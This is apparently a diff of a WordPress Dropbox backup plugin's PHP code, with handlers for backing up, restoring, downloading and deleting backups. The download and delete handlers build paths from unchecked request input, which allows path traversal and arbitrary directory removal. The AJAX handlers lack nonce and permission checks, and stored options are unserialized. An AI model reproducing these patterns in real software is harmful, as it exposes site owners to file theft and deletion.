add_action('wp_ajax_set_user_mail', array('wpadm_wp_full_backup_dropbox', 'setUserMail') );
|
16 |
+
add_action('wp_ajax_stop_backup', array('wpadm_wp_full_backup_dropbox', 'stopBackup') );
|
17 |
+
add_action('wp_ajax_saveSetting', array('wpadm_wp_full_backup_dropbox', 'saveSetting') );
|
18 |
+
|
19 |
+
|
20 |
+
add_action('admin_post_wpadm_delete_backup', array('wpadm_wp_full_backup_dropbox', 'delete_backup') );
|
21 |
+
add_action('admin_post_dropboxConnect', array('wpadm_wp_full_backup_dropbox', 'dropboxConnect') );
|
22 |
+
|
23 |
+
add_action('admin_post_login-process', array('wpadm_wp_full_backup_dropbox', 'auth_user') );
|
24 |
+
|
25 |
+
add_action('admin_post_wpadm_download', array('wpadm_wp_full_backup_dropbox', 'download') );
|
26 |
+
add_action('init', array('wpadm_wp_full_backup_dropbox', 'init'), 10 );
|
27 |
+
|
28 |
+
add_action('admin_notices', array('wpadm_wp_full_backup_dropbox', 'notice'));
|
29 |
+
add_action('admin_notices', array('wpadm_wp_full_backup_dropbox', 'notice_stars'));
|
30 |
+
add_action('admin_post_hide_notice', array('wpadm_wp_full_backup_dropbox', 'hide_notice') );
|
31 |
+
add_action( 'admin_bar_menu', array('wpadm_wp_full_backup_dropbox', 'add_link_to_admin_bar') ,999 );
|
32 |
+
|
33 |
+
@set_time_limit(0);
|
34 |
+
|
35 |
+
class wpadm_wp_full_backup_dropbox extends wpadm_class {
|
36 |
+
|
37 |
+
private static $default_optimization = 1;
|
38 |
+
|
39 |
+
const MIN_PASSWORD = 6;
|
40 |
+
|
41 |
+
static function stopBackup()
|
42 |
+
{
|
43 |
+
WPAdm_Running::init_params_default();
|
44 |
+
}
|
45 |
+
|
46 |
+
static function add_link_to_admin_bar($wp_admin_bar)
|
47 |
+
{
|
48 |
+
$show = true;
|
49 |
+
$dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
|
50 |
+
if ($dropbox_options) {
|
51 |
+
$dropbox_options = unserialize( base64_decode( $dropbox_options ) );
|
52 |
+
}
|
53 |
+
if ( ( isset($dropbox_options['is_admin']) && $dropbox_options['is_admin'] == 1 ) || !isset($dropbox_options['is_admin']) ) {
|
54 |
+
if (!is_admin() || !is_super_admin()) {
|
55 |
+
$show = false;
|
56 |
+
}
|
57 |
+
}
|
58 |
+
if ($show) {
|
59 |
+
$wp_admin_bar->add_node( array(
|
60 |
+
'id' => 'dropbox-backup',
|
61 |
+
'title' => 'Dropbox backup',
|
62 |
+
'href' => esc_url( admin_url("admin.php?page=wpadm_wp_full_backup_dropbox") ),
|
63 |
+
'meta' => array('class' => 'dropbox-image-toolbar')
|
64 |
+
));
|
65 |
+
}
|
66 |
+
|
67 |
+
}
|
68 |
+
|
69 |
+
public static function notice_stars()
|
70 |
+
{
|
71 |
+
if ( file_exists(WPAdm_Core::getTmpDir() . "/notice-star") ) {
|
72 |
+
$star = file_get_contents(WPAdm_Core::getTmpDir() . "/notice-star");
|
73 |
+
if ($star != 0) {
|
74 |
+
$d = explode("_", $star);
|
75 |
+
$time = $hide = '';
|
76 |
+
if (isset($d[1])) {
|
77 |
+
if ($d[1] == '1d' && ( (int)$d[0] + WPADM_1DAY ) <= time() ) {
|
78 |
+
$time = langWPADM::get("1 day", false);
|
79 |
+
$hide = '1d';
|
80 |
+
} elseif ($d[1] == 'w' && ( (int)$d[0] + WPADM_1WEEK ) <= time() ) {
|
81 |
+
$time = langWPADM::get("1 week", false);
|
82 |
+
$hide = 'week';
|
83 |
+
}
|
84 |
+
}
|
85 |
+
if (!empty($time) && !empty($hide) && file_exists(DRBBACKUP_BASE_DIR . DIRECTORY_SEPARATOR . "template" . DIRECTORY_SEPARATOR . "notice5.php")) {
|
86 |
+
ob_start();
|
87 |
+
require_once DRBBACKUP_BASE_DIR . DIRECTORY_SEPARATOR . "template" . DIRECTORY_SEPARATOR . "notice5.php";
|
88 |
+
echo ob_get_clean();
|
89 |
+
}
|
90 |
+
}
|
91 |
+
}
|
92 |
+
}
|
93 |
+
|
94 |
+
public static function setFlagToTmp($flag = '', $data = false)
|
95 |
+
{
|
96 |
+
if ( !empty($flag) ) {
|
97 |
+
if (!class_exists('WPAdm_Core')) {
|
98 |
+
require_once DRBBACKUP_BASE_DIR . "/libs/class-wpadm-core.php" ;
|
99 |
+
WPAdm_Core::$pl_dir = DRBBACKUP_BASE_DIR;
|
100 |
+
}
|
101 |
+
file_put_contents( WPAdm_Core::getTmpDir() . "/$flag" , $data );
|
102 |
+
}
|
103 |
+
}
|
104 |
+
|
105 |
+
public static function auth_user()
|
106 |
+
{
|
107 |
+
if (isset($_POST['username']) && $_POST['password']) {
|
108 |
+
if(!function_exists("wp_safe_remote_post")) {
|
109 |
+
include ABSPATH . "/http.php";
|
110 |
+
}
|
111 |
+
$res = wp_safe_remote_post(SERVER_URL_INDEX, array('username' => $_POST['username'], 'password' => $_POST['password'], 'plugin' => 'dropbox-backup'));
|
112 |
+
if (!Empty($res['body'])) {
|
113 |
+
$data_res = json_decode($res['body']);
|
114 |
+
if (isset($data_res['url'])) {
|
115 |
+
header("Location: " . $data_res['url']);
|
116 |
+
exit;
|
117 |
+
}
|
118 |
+
}
|
119 |
+
}
|
120 |
+
header("Location: " . admin_url("admin.php?page=wpadm_wp_full_backup_dropbox") );
|
121 |
+
exit;
|
122 |
+
}
|
123 |
+
|
124 |
+
public static function init()
|
125 |
+
{
|
126 |
+
parent::$plugin_name = 'dropbox-backup';
|
127 |
+
require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-core.php';
|
128 |
+
WPAdm_Core::$pl_dir = DRBBACKUP_BASE_DIR ;
|
129 |
+
}
|
130 |
+
|
131 |
+
static function include_admins_script()
|
132 |
+
{
|
133 |
+
if (isset($_GET['page']) && ($_GET['page'] == 'wpadm_wp_full_backup_dropbox' || $_GET['page'] == 'wpadm_plugins') ) {
|
134 |
+
wp_enqueue_style('admin-wpadm', plugins_url( "/template/css/admin-style-wpadm.css", dirname( __FILE__ )) );
|
135 |
+
wp_enqueue_script( 'js-admin-wpadm', plugins_url( "/template/js/admin-wpadm.js", dirname( __FILE__ ) ) );
|
136 |
+
wp_enqueue_script( 'postbox' );
|
137 |
+
}
|
138 |
+
wp_enqueue_style('css-admin-wpadm-toolbar', plugins_url( "/template/css/tool-bar.css", dirname( __FILE__ )) );
|
139 |
+
}
|
140 |
+
|
141 |
+
public static function setUserMail()
|
142 |
+
{
|
143 |
+
if (isset($_POST['email'])) {
|
144 |
+
$email = trim($_POST['email']);
|
145 |
+
$mail = get_option(PREFIX_BACKUP_ . "email");
|
146 |
+
if ($mail) {
|
147 |
+
add_option(PREFIX_BACKUP_ . "email", $email);
|
148 |
+
} else {
|
149 |
+
update_option(PREFIX_BACKUP_ . "email",$email);
|
150 |
+
}
|
151 |
+
}
|
152 |
+
echo 'true';
|
153 |
+
wp_die();
|
154 |
+
}
|
155 |
+
public static function saveSetting()
|
156 |
+
{
|
157 |
+
if (isset($_POST['is_admin']) || isset($_POST['is_optimization'])) {
|
158 |
+
|
159 |
+
$dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
|
160 |
+
if ($dropbox_options) {
|
161 |
+
$dropbox_options = unserialize( base64_decode( $dropbox_options ) );
|
162 |
+
}
|
163 |
+
if (isset($_POST['is_admin'])) {
|
164 |
+
$dropbox_options['is_admin'] = (int) $_POST['is_admin'];
|
165 |
+
}
|
166 |
+
if (isset($_POST['is_optimization'])) {
|
167 |
+
$dropbox_options['is_optimization'] = (int) $_POST['is_optimization'];
|
168 |
+
}
|
169 |
+
update_option(PREFIX_BACKUP_ . 'dropbox-setting', base64_encode( serialize( $dropbox_options ) ) );
|
170 |
+
}
|
171 |
+
}
|
172 |
+
|
173 |
+
public static function getSettings()
|
174 |
+
{
|
175 |
+
$dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
|
176 |
+
if ($dropbox_options) {
|
177 |
+
$dropbox_options = unserialize( base64_decode( $dropbox_options ) );
|
178 |
+
} else {
|
179 |
+
$dropbox_options = array();
|
180 |
+
}
|
181 |
+
return $dropbox_options;
|
182 |
+
}
|
183 |
+
|
184 |
+
public static function local_backup()
|
185 |
+
{
|
186 |
+
require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
|
187 |
+
@session_write_close();
|
188 |
+
parent::$type = 'full';
|
189 |
+
if (file_exists(WPAdm_Core::getTmpDir() . "/logs2")) {
|
190 |
+
@unlink(WPAdm_Core::getTmpDir() . "/logs2");
|
191 |
+
}
|
192 |
+
if (file_exists(WPAdm_Core::getTmpDir() . "/log.log")) {
|
193 |
+
file_put_contents(WPAdm_Core::getTmpDir() . "/log.log", '');
|
194 |
+
}
|
195 |
+
WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
|
196 |
+
WPAdm_Running::init_params_default();
|
197 |
+
if ( WPAdm_Core::dir_writeble(DROPBOX_BACKUP_DIR_BACKUP)) {
|
198 |
+
WPAdm_Running::delCommandResultData("local_backup");
|
199 |
+
$dropbox_options = self::getSettings();
|
200 |
+
$optimization = (isset($dropbox_options['is_optimization']) && $dropbox_options['is_optimization'] == 1) || (!isset($dropbox_options['is_optimization'])) ? 1 : 0;
|
201 |
+
$backup = new WPAdm_Core(array('method' => "local_backup", 'params' => array('optimize' => $optimization, 'limit' => 0, 'time' => @$_POST['time'], 'types' => array('db', 'files') )), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
|
202 |
+
if (WPAdm_Core::$cron === false) {
|
203 |
+
$res = $backup->getResult()->toArray();
|
204 |
+
$res['md5_data'] = md5( print_r($res, 1) );
|
205 |
+
$res['name'] = $backup->name;
|
206 |
+
$res['time'] = $backup->time;
|
207 |
+
$res['type'] = 'local';
|
208 |
+
$res['counts'] = count($res['data']);
|
209 |
+
} else {
|
210 |
+
$res['result'] = 'work';
|
211 |
+
$res['error'] = '';
|
212 |
+
$res['data'] = array();
|
213 |
+
$res['size'] = 0;
|
214 |
+
}
|
215 |
+
} else {
|
216 |
+
$res['result'] = 'error';
|
217 |
+
$res['error'] = langWPADM::get('Website "%domain" returned an error during file creation: Failed to create file, please check the permissions on the folder "%dir-backup".', false, array('%domain', '%dir-backup'), array(SITE_HOME, DROPBOX_BACKUP_DIR_BACKUP) );
|
218 |
+
$res['data'] = array();
|
219 |
+
$res['size'] = 0;
|
220 |
+
}
|
221 |
+
|
222 |
+
@session_start();
|
223 |
+
echo json_encode($res);
|
224 |
+
wp_die();
|
225 |
+
|
226 |
+
}
|
227 |
+
public static function getLog()
|
228 |
+
{
|
229 |
+
@session_write_close();
|
230 |
+
@session_start();
|
231 |
+
require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
|
232 |
+
$backup = new WPAdm_Core(array('method' => "local"), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
|
233 |
+
$log = WPAdm_Core::getLog();
|
234 |
+
$log2 = WPAdm_Core::getTmpDir() . "/logs2";
|
235 |
+
if (file_exists($log2)) {
|
236 |
+
$text = @file_get_contents($log2);
|
237 |
+
file_put_contents($log2, $log);
|
238 |
+
$log = str_replace($text, "", $log);
|
239 |
+
} else {
|
240 |
+
file_put_contents($log2, $log);
|
241 |
+
}
|
242 |
+
$log = explode("\n", $log);
|
243 |
+
krsort($log);
|
244 |
+
$log_array = array('log' => $log );
|
245 |
+
$data_result = WPAdm_Running::getCommandResultData($_POST['type-backup']);
|
246 |
+
if (!empty($data_result)) {
|
247 |
+
$log_array['data'] = $data_result;
|
248 |
+
}
|
249 |
+
echo json_encode( $log_array );
|
250 |
+
exit;
|
251 |
+
}
|
252 |
+
public static function restore_backup()
|
253 |
+
{
|
254 |
+
require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
|
255 |
+
@session_write_close();
|
256 |
+
parent::$type = 'full';
|
257 |
+
if (file_exists(WPAdm_Core::getTmpDir() . "/logs2")) {
|
258 |
+
@unlink(WPAdm_Core::getTmpDir() . "/logs2");
|
259 |
+
}
|
260 |
+
$name_backup = isset($_POST['name']) ? trim($_POST['name']) : "";
|
261 |
+
$backup = new WPAdm_Core(array('method' => "local_restore", 'params' => array('types' => array('files', 'db'), 'name_backup' => $name_backup )), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
|
262 |
+
$res = $backup->getResult()->toArray();
|
263 |
+
@session_start();
|
264 |
+
echo json_encode($res);
|
265 |
+
wp_die();
|
266 |
+
}
|
267 |
+
public static function wpadm_restore_dropbox()
|
268 |
+
{
|
269 |
+
require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
|
270 |
+
@session_write_close();
|
271 |
+
$log_class = new WPAdm_Core(array('method' => "local"), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
|
272 |
+
if (file_exists(WPAdm_Core::getTmpDir() . "/logs2")) {
|
273 |
+
@unlink(WPAdm_Core::getTmpDir() . "/logs2");
|
274 |
+
}
|
275 |
+
if (file_exists(WPAdm_Core::getTmpDir() . "/log.log")) {
|
276 |
+
@unlink(WPAdm_Core::getTmpDir() . "/log.log");
|
277 |
+
}
|
278 |
+
WPAdm_Core::log( langWPADM::get('Start Restore from Dropbox cloud' , false) );
|
279 |
+
$dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
|
280 |
+
if ($dropbox_options) {
|
281 |
+
require_once DRBBACKUP_BASE_DIR. "/modules/dropbox.class.php";
|
282 |
+
$dropbox_options = unserialize( base64_decode( $dropbox_options ) );
|
283 |
+
$folder_project = self::getNameProject();
|
284 |
+
$dropbox = new dropbox($dropbox_options['app_key'], $dropbox_options['app_secret'], $dropbox_options['auth_token_secret']);
|
285 |
+
if ($dropbox->isAuth()) {
|
286 |
+
WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
|
287 |
+
$name_backup = isset($_POST['name']) ? trim($_POST['name']) : "";
|
288 |
+
$dir_backup = DROPBOX_BACKUP_DIR_BACKUP . "/$name_backup";
|
289 |
+
$error = WPAdm_Core::mkdir($dir_backup);
|
290 |
+
if (!empty($error)) {
|
291 |
+
WPAdm_Core::log($error);
|
292 |
+
$res['result'] = WPAdm_Result::WPADM_RESULT_ERROR;
|
293 |
+
$res['error'] = $error;
|
294 |
+
$res['data'] = array();
|
295 |
+
$res['size'] = 0;
|
296 |
+
|
297 |
+
} else {
|
298 |
+
$files = $dropbox->listing("$folder_project/$name_backup");
|
299 |
+
if (isset($files['items'])) {
|
300 |
+
$n = count($files['items']);
|
301 |
+
for($i = 0; $i < $n; $i++) {
|
302 |
+
$res = $dropbox->downloadFile("$folder_project/$name_backup/{$files['items'][$i]['name']}", "$dir_backup/{$files['items'][$i]['name']}");
|
303 |
+
if ($res != "$dir_backup/{$files['items'][$i]['name']}" && isset($res['text'])) {
|
304 |
+
WPAdm_Core::log(langWPADM::get('Error: ' , false) . $res['text'] );
|
305 |
+
} else {
|
306 |
+
$log = str_replace('%s', $files['items'][$i]['name'], langWPADM::get('Download file (%s) with Dropbox' , false) );
|
307 |
+
WPAdm_Core::log($log);
|
308 |
+
}
|
309 |
+
}
|
310 |
+
parent::$type = 'full';
|
311 |
+
$backup = new WPAdm_Core(array('method' => "local_restore", 'params' => array('types' => array('files', 'db'), 'name_backup' => $name_backup )), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
|
312 |
+
$res = $backup->getResult()->toArray();
|
313 |
+
WPAdm_Core::rmdir($dir_backup);
|
314 |
+
}
|
315 |
+
}
|
316 |
+
} else {
|
317 |
+
WPAdm_Core::log( langWPADM::get('Website "%d" can\'t authorize on Dropbox with using of "app key: %k" and "app secret: %s"' , false,
|
318 |
+
array('%d', '%k', '%s'),
|
319 |
+
array( SITE_HOME, $dropbox_options['app_key'], $dropbox_options['app_secret'] ) ) );
|
320 |
+
}
|
321 |
+
} else {
|
322 |
+
WPAdm_Core::log( langWPADM::get('Website "%d" returned an error during connection to Dropbox: "app key" and "app secret" wasn\'t found. Please, check your Dropbox settings.' , false, '%d', SITE_HOME) );
|
323 |
+
}
|
324 |
+
@session_start();
|
325 |
+
echo json_encode($res);
|
326 |
+
wp_die();
|
327 |
+
}
|
328 |
+
public static function download()
|
329 |
+
{
|
330 |
+
if (isset($_REQUEST['backup'])) {
|
331 |
+
require_once DRBBACKUP_BASE_DIR . "/class-wpadm-core.php";
|
332 |
+
require_once DRBBACKUP_BASE_DIR . '/modules/pclzip.lib.php';
|
333 |
+
$backup = new WPAdm_Core(array('method' => "local"), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
|
334 |
+
$filename = $_REQUEST['backup'] . ".zip";
|
335 |
+
$file = WPAdm_Core::getTmpDir() . "/" . $filename;
|
336 |
+
if (file_exists($file)) {
|
337 |
+
@unlink($file);
|
338 |
+
}
|
339 |
+
$archive = new PclZip($file);
|
340 |
+
$dir_backup = DROPBOX_BACKUP_DIR_BACKUP . '/' . $_REQUEST['backup'];
|
341 |
+
|
342 |
+
$backups = array('data' => array(), 'md5' => '');
|
343 |
+
if (is_dir($dir_backup)) {
|
344 |
+
$i = 0;
|
345 |
+
$dir_open = opendir($dir_backup);
|
346 |
+
while($d = readdir($dir_open)) {
|
347 |
+
if ($d != '.' && $d != '..' && file_exists($dir_backup . "/$d") && substr($d, -3) != "php") {
|
348 |
+
$archive->add($dir_backup . "/$d", PCLZIP_OPT_REMOVE_PATH, DROPBOX_BACKUP_DIR_BACKUP );
|
349 |
+
}
|
350 |
+
}
|
351 |
+
}
|
352 |
+
|
353 |
+
|
354 |
+
$now = gmdate("D, d M Y H:i:s");
|
355 |
+
header("Expires: Tue, 03 Jul 2001 06:00:00 GMT");
|
356 |
+
header("Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate");
|
357 |
+
header("Last-Modified: {$now} GMT");
|
358 |
+
|
359 |
+
// force download
|
360 |
+
header("Content-Type: application/force-download");
|
361 |
+
header("Content-Type: application/octet-stream");
|
362 |
+
header("Content-Type: application/download");
|
363 |
+
|
364 |
+
// disposition / encoding on response body
|
365 |
+
header("Content-Disposition: attachment;filename={$filename}");
|
366 |
+
header("Content-Transfer-Encoding: binary");
|
367 |
+
|
368 |
+
ob_start();
|
369 |
+
$df = fopen("php://output", 'w');
|
370 |
+
echo file_get_contents($file);
|
371 |
+
fclose($df);
|
372 |
+
echo ob_get_clean();
|
373 |
+
@unlink($file);
|
374 |
+
exit;
|
375 |
+
}
|
376 |
+
}
|
377 |
+
|
378 |
+
public static function delete_backup()
|
379 |
+
{
|
380 |
+
if (isset($_POST['backup-type']) ) {
|
381 |
+
if ($_POST['backup-type'] == 'local') {
|
382 |
+
require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
|
383 |
+
$dir = DROPBOX_BACKUP_DIR_BACKUP . '/' . $_POST['backup-name'] ;
|
384 |
+
$delete = false;
|
385 |
+
if (is_dir($dir)) {
|
386 |
+
WPAdm_Core::rmdir($dir);
|
387 |
+
$delete = true;
|
388 |
+
}
|
389 |
+
$dir = ABSPATH . WPADM_DIR_NAME . '/' . $_POST['backup-name'] ;
|
390 |
+
if (is_dir($dir)) {
|
391 |
+
WPAdm_Core::rmdir($dir);
|
392 |
+
$delete = true;
|
393 |
+
}
|
394 |
+
$dir = WPADM_DIR_BACKUP . '/' . $_POST['backup-name'] ;
|
395 |
+
if (is_dir($dir)) {
|
396 |
+
WPAdm_Core::rmdir($dir);
|
397 |
+
$delete = true;
|
398 |
+
}
|
399 |
+
if ($delete) {
|
400 |
+
parent::setMessage( str_replace('%s', $_POST['backup-name'], langWPADM::get('Backup(%s) was deleted', false) ) );
|
401 |
+
}
|
402 |
+
} elseif ($_POST['backup-type'] == 'dropbox') {
|
403 |
+
require_once DRBBACKUP_BASE_DIR . "/modules/dropbox.class.php";
|
404 |
+
$dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
|
405 |
+
if ($dropbox_options) {
|
406 |
+
$dropbox_options = unserialize( base64_decode( $dropbox_options ) );
|
407 |
+
$dropbox = new dropbox($dropbox_options['app_key'], $dropbox_options['app_secret'], $dropbox_options['auth_token_secret']);
|
408 |
+
$folder_project = self::getNameProject();
|
409 |
+
$res = $dropbox->deleteFile("$folder_project/{$_POST['backup-name']}");
|
410 |
+
if ($res['is_deleted'] === true) {
|
411 |
+
parent::setMessage( str_replace('%s', $_POST['backup-name'], langWPADM::get('Backup(%s) was deleted', false) ) );
|
412 |
+
}
|
413 |
+
}
|
414 |
+
}
|
415 |
+
}
|
416 |
+
header("Location: " . admin_url("admin.php?page=wpadm_wp_full_backup_dropbox"));
|
417 |
+
}
|
418 |
+
|
419 |
+
protected static function getPluginName()
|
420 |
+
{
|
421 |
+
|
422 |
+
preg_match("|wpadm_wp_(.*)|", __CLASS__, $m);
|
423 |
+
return $m[1];
|
424 |
+
}
|
425 |
+
protected static function getPathPlugin()
|
426 |
+
{
|
427 |
+
return "wpadm_full_backup_dropbox";
|
428 |
+
}
|
429 |
+
|
430 |
+
public static function dropboxConnect()
|
431 |
+
{
|
432 |
+
require_once DRBBACKUP_BASE_DIR . "/modules/dropbox.class.php";
|
433 |
+
if (isset($_GET['app_key']) && isset($_GET['app_secret'])) {
|
434 |
+
if (empty($_GET['app_key']) && empty($_GET['app_secret'])) {
|
435 |
+
$_GET['app_key'] = WPADM_APP_KEY;
|
436 |
+
$_GET['app_secret'] = WPADM_APP_SECRET;
|
437 |
+
}
|
438 |
+
$dropbox = new dropbox($_GET['app_key'], $_GET['app_secret']);
|
439 |
+
$_SESSION['dropbox_key'] = $_GET['app_key'];
|
440 |
+
$_SESSION['dropbox_secret'] = $_GET['app_secret'];
|
441 |
+
$_SESSION['dropbox_request_token'] = $dropbox->getRequestToken();
|
442 |
+
echo '<script>window.location.href="' . $dropbox->generateAuthUrl( admin_url('admin-post.php?action=dropboxConnect') ) . '";</script>';
|
443 |
+
} elseif (isset($_GET['oauth_token']) && isset($_GET['uid'])) {
|
444 |
+
$dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
|
445 |
+
if ($dropbox_options) {
|
446 |
+
$dropbox_options = unserialize( base64_decode( $dropbox_options ) );
|
447 |
+
} else {
|
448 |
+
$dropbox_options = array();
|
449 |
+
add_option(PREFIX_BACKUP_ . 'dropbox-setting', base64_encode(serialize( $dropbox_options ) ) );
|
450 |
+
}
|
451 |
+
$dropbox = new dropbox(@$_SESSION['dropbox_key'], @$_SESSION['dropbox_secret']);
|
452 |
+
$access_token = $dropbox->getAccessToken($_SESSION['dropbox_request_token']);
|
453 |
+
$dropbox_options['app_key'] = @$_SESSION['dropbox_key'] ;
|
454 |
+
$dropbox_options['app_secret'] = @$_SESSION['dropbox_secret'] ;
|
455 |
+
$dropbox_options['auth_token_secret'] = $access_token;
|
456 |
+
$dropbox_options['oauth_token'] = @$_GET['oauth_token'] ;
|
457 |
+
$dropbox_options['uid'] = @$_GET['uid'] ;
|
458 |
+
update_option(PREFIX_BACKUP_ . 'dropbox-setting', base64_encode( serialize( $dropbox_options ) ) );
|
459 |
+
echo '<script>
|
460 |
+
if(window.opener){
|
461 |
+
window.opener.connectDropbox(null, null, "'.htmlspecialchars($access_token['oauth_token_secret']).'", "'.htmlspecialchars($access_token['oauth_token']).'", "'.htmlspecialchars($access_token['uid']).'");window.close();
|
462 |
+
}else{
|
463 |
+
window.location.href="' . admin_url("admin.php?page=wpadm_wp_full_backup_dropbox") . '";
|
464 |
+
}
|
465 |
+
</script>';
|
466 |
+
echo '<script>window.close();</script>';exit;
|
467 |
+
} elseif (isset($_GET['not_approved'])) {
|
468 |
+
if( $_GET['not_approved'] == 'true' ){
|
469 |
+
echo '<script>window.close();</script>';exit;
|
470 |
+
}
|
471 |
+
} else {
|
472 |
+
WPAdm_Core::log( langWPADM::get('Website "%d" returned an error during connection to Dropbox: "app key" and "app secret" wasn\'t found. Please, check your Dropbox settings.' , true, '%d', SITE_HOME) );
|
473 |
+
}
|
474 |
+
exit;
|
475 |
+
}
|
476 |
+
|
477 |
+
public static function dropbox_backup_create()
|
478 |
+
{
|
479 |
+
require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
|
480 |
+
@session_write_close();
|
481 |
+
|
482 |
+
$log = new WPAdm_Core(array('method' => "local"), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
|
483 |
+
if (file_exists(WPAdm_Core::getTmpDir() . "/logs2")) {
|
484 |
+
@unlink(WPAdm_Core::getTmpDir() . "/logs2");
|
485 |
+
}
|
486 |
+
if (file_exists(WPAdm_Core::getTmpDir() . "/log.log")) {
|
487 |
+
file_put_contents(WPAdm_Core::getTmpDir() . "/log.log", '');
|
488 |
+
}
|
489 |
+
if ( WPAdm_Core::dir_writeble(DROPBOX_BACKUP_DIR_BACKUP) && !file_exists(WPAdm_Core::getTmpDir() . "/create-backup") ) {
|
490 |
+
file_put_contents(WPAdm_Core::getTmpDir() . "/create-backup", 1);
|
491 |
+
$dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
|
492 |
+
$send_to_dropbox = true;
|
493 |
+
if ($dropbox_options) {
|
494 |
+
$dropbox_options = unserialize( base64_decode( $dropbox_options ) );
|
495 |
+
if (!isset($dropbox_options['app_key'])) {
|
496 |
+
WPAdm_Core::log( langWPADM::get('Website "%d" returned an error during connection to Dropbox: "App Key" wasn\'t found. Please, check your Dropbox settings.' , false, '%d', SITE_HOME) );
|
497 |
+
$send_to_dropbox = false;
|
498 |
+
}
|
499 |
+
if (!isset($dropbox_options['app_secret'])) {
|
500 |
+
WPAdm_Core::log( langWPADM::get('Website "%d" returned an error during connection to Dropbox: "App Secret" wasn\'t found. Please, check your Dropbox settings.' , false, '%d', SITE_HOME) );
|
501 |
+
$send_to_dropbox = false;
|
502 |
+
}
|
503 |
+
if (!isset($dropbox_options['oauth_token'])) {
|
504 |
+
WPAdm_Core::log( langWPADM::get('Website "%d" returned an error during file sending to Dropbox: "Auth Token not exist. Files cannot be sent to Dropbox cloud. Please, check your Dropbox settings."' , false, '%d', SITE_HOME) );
|
505 |
+
$send_to_dropbox = false;
|
506 |
+
}
|
507 |
+
} else {
|
508 |
+
WPAdm_Core::log( langWPADM::get('Website "%d" returned an error during connection to Dropbox: "app key" and "app secret" wasn\'t found. Please, check your Dropbox settings.' , false, '%d', SITE_HOME) );
|
509 |
+
$res['type'] = 'local';
|
510 |
+
$send_to_dropbox = false;
|
511 |
+
}
|
512 |
+
|
513 |
+
if ($send_to_dropbox) {
|
514 |
+
parent::$type = 'full';
|
515 |
+
WPAdm_Running::init_params_default();
|
516 |
+
WPAdm_Running::delCommandResultData("local_backup");
|
517 |
+
$dropbox_options = self::getSettings();
|
518 |
+
$optimization = (isset($dropbox_options['is_optimization']) && $dropbox_options['is_optimization'] == 1) || (!isset($dropbox_options['is_optimization'])) ? 1 : 0;
|
519 |
+
$backup_local = new WPAdm_Core(array('method' => "local_backup", 'params' => array('optimize' => $optimization, 'limit' => 0, 'time' => @$_POST['time'], 'types' => array('db', 'files') )), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
|
520 |
+
$res = array();
|
521 |
+
if (WPAdm_Core::$cron === false) {
|
522 |
+
$res = $backup->getResult()->toArray();
|
523 |
+
$res['md5_data'] = md5( print_r($res, 1) );
|
524 |
+
$res['name'] = $backup->name;
|
525 |
+
$res['time'] = $backup->time;
|
526 |
+
$res['type'] = 'dropbox';
|
527 |
+
$res['counts'] = count($res['data']);
|
528 |
+
}
|
529 |
+
unset($backup_local);
|
530 |
+
$folder_project = self::getNameProject();
|
531 |
+
WPAdm_Running::delCommandResultData("send-to-dropbox");
|
532 |
+
$backup = new WPAdm_Core(array('method' => "send-to-dropbox",
|
533 |
+
'params' => array('files' => isset($res['data']) ? $res['data'] : '',
|
534 |
+
'local' => true,
|
535 |
+
'access_details' => array('key' => $dropbox_options['app_key'],
|
536 |
+
'secret' => $dropbox_options['app_secret'],
|
537 |
+
'token' => $dropbox_options['auth_token_secret'],
|
538 |
+
'dir' => isset($res['name']) ? $res['name'] : '',
|
539 |
+
'folder' => $folder_project),
|
540 |
+
)
|
541 |
+
),
|
542 |
+
'full_backup_dropbox', WPAdm_Core::$pl_dir) ;
|
543 |
+
if (WPAdm_Core::$cron === false) {
|
544 |
+
$result_send = $backup->getResult()->toArray();
|
545 |
+
if ($result_send['result'] == 'error') {
|
546 |
+
$res = array();
|
547 |
+
$res['error'] = $result_send['error'];
|
548 |
+
$res['result'] = 'error';
|
549 |
+
@rename(WPAdm_Core::getTmpDir() . "/logs2", WPAdm_Core::getTmpDir() . "/logs_error_" . $backup_local->time);
|
550 |
+
}
|
551 |
+
WPAdm_Core::rmdir( DROPBOX_BACKUP_DIR_BACKUP . "/{$res['name']}");
|
552 |
+
} else {
|
553 |
+
$res['result'] = 'work';
|
554 |
+
$res['error'] = '';
|
555 |
+
$res['data'] = array();
|
556 |
+
$res['size'] = 0;
|
557 |
+
}
|
558 |
+
if (file_exists(WPAdm_Core::getTmpDir() . "/create-backup")) {
|
559 |
+
@unlink( WPAdm_Core::getTmpDir() . "/create-backup" );
|
560 |
+
}
|
561 |
+
}
|
562 |
+
} else {
|
563 |
+
$res['result'] = 'error';
|
564 |
+
$res['error'] = langWPADM::get('Website "%domain" returned an error during file creation: Failed to create file, please check the permissions on the folder "%dir-backup".', false, array('%domain', '%dir-backup'), array(SITE_HOME, DROPBOX_BACKUP_DIR_BACKUP) );
|
565 |
+
$res['data'] = array();
|
566 |
+
$res['size'] = 0;
|
567 |
+
}
|
568 |
+
@session_start();
|
569 |
+
echo json_encode($res);
|
570 |
+
wp_die();
|
571 |
+
}
|
572 |
+
public static function getNameProject()
|
573 |
+
{
|
574 |
+
